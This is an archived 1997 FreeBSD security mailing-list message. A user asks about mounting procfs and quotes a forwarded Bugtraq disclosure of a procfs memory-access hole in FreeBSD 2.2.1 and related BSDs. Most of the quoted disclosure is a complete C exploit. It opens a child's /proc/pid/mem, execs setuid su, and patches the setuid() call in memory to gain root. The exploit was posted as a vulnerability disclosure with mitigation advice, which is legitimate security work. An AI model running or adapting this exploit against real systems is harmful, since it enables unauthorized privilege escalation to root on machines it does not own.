Date: Wed, 13 Aug 1997 16:10:34 -0500 From: Raul Zighelboim <mango@staff.communique.net> To: freebsd-security@FreeBSD.ORG Subject: RE: procfs hole (fwd) Message-ID: <A03CD00C69B1D01195AB00A024ECEB162AB7EF@kaori.communique.net>
next in thread | raw e-mail | index | archive | help
What are the pro/cons of having a /procfs mounted ? Thanks. > -----Original Message----- > From: Ted Wisniewski [SMTP:ted@wiz.plymouth.edu] > Sent: Monday, August 11, 1997 10:05 PM > To: freebsd-security@FreeBSD.ORG > Subject: FW: procfs hole (fwd) > > I do not read this list... I want to be sure that someone was aware > of this.. > I have tested it myself and the only immediate cure is to not mount > the /proc filesystem..... I would encourage anyone with it mounted > to unmounted it (unless a patch is available to fix the problem).. > Below > is the original message and exploit. > > -----Original Message----- > From: Brian Mitchell [SMTP:brian@FIREHOUSE.NET] > Sent: Sunday, August 10, 1997 5:38 AM > To: BUGTRAQ@NETSPACE.ORG > Subject: procfs hole > > There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not > affected, > I have not tested 3.x but I believe it to be vulnerable as well) along > with OpenBSD (not tested by me, but by someone else -- believe it was > 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd > does). > > The problem is all proc/#/mem access is controlled by the permissions > on > the file. This means you can fork() open the childs mem device and > then > have the child execute a setuid executable. Once this is done, you can > modify the setuid executables memory -- even segments that are > supposed to > be nonwritable can be modified. Enclosed is a simple exploit tested > under > FreeBSD 2.2.1 -- beware, this exploit is slow because it searches > memory > for a specific signature. Oh, you need to change your shell to a > borneish > shell too, since csh/tcsh will not work when euid != ruid (unless > passed > a -b script argument). > > BSDI is also believed to be vulnerable. Unfortunately, not only is > procfs > not mounted, it is not even in the GENERIC kernel. > > #include <stdio.h> > #include <stdlib.h> > #include <unistd.h> > #include <fcntl.h> > #include <string.h> > > u_char search_code[13] = { > 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ > 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ > > /* just do a xor %eax, %eax and then a ret */ > u_char new_code[] = { > 0x31, 0xc0, 0xc3}; > > main(int argc, char **argv) > { > int pid; > int fd; > char buff[40]; > char *user; > > /* might need to tweak these */ > u_int offset=0x8003000; > u_int offset_end = 0x8099000; > > if(argc < 2) > { > fprintf(stderr, "%s user\n", argv[0]); > exit(1); > } > printf("Demonstration of 4.4BSD procfs hole\n"); > printf("Brian Mitchell <brian@firehouse.net>\n\n"); > printf("after you see \"setuid changed\", enter the pw for the > user\n"); > printf("\aBe warned, searching for the setuid() function takes > a long time!\n"); > user=argv[1]; > pid = fork(); > switch(pid) > { > case -1: > perror("fork"); > exit(1); > case 0: > /* give parent time to open /proc/pid/mem */ > sleep(3); > execl("/usr/bin/su", "su", user, NULL); > exit(0); > default: > sprintf(buff, "/proc/%d/mem", pid); > fd = open(buff, O_RDWR); > if(fd < 0) > { > perror("open procmem"); > wait(NULL); > exit(1); > } > /* wait for child to execute suid program */ > sleep(6); > /* stop the child */ > kill(pid, 17); > printf("searching - please be patient...\n"); > /* search for the setuid code */ > while(offset != offset_end) > { > lseek(fd, offset, SEEK_SET); > read(fd, buff, 13); > if(!bcmp(buff, search_code, 13)) > { > lseek(fd, offset, SEEK_SET); > write(fd, new_code, 3); > printf("setuid changed > (0x%x)\n", offset); > /* sigcont child */ > kill(pid, 19); > wait(NULL); > exit(0); > } > offset++; > } > printf("setuid not found!!\n"); > kill(pid, 9); > wait(NULL); > exit(1); > } > } > > > Brian Mitchell brian@firehouse.net > "BSD code sucks. Of course, everything else sucks far more." > - Theo de Raadt (OpenBSD President) > > > -- > | Ted Wisniewski INET: ted@oz.plymouth.edu > | > | Computer Services ted@wiz.plymouth.edu > | > | Plymouth State College tedw@psc.plymouth.edu > | > | Plymouth NH, 03264 HTTP: > http://oz.plymouth.edu/~ted/ |
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?A03CD00C69B1D01195AB00A024ECEB162AB7EF>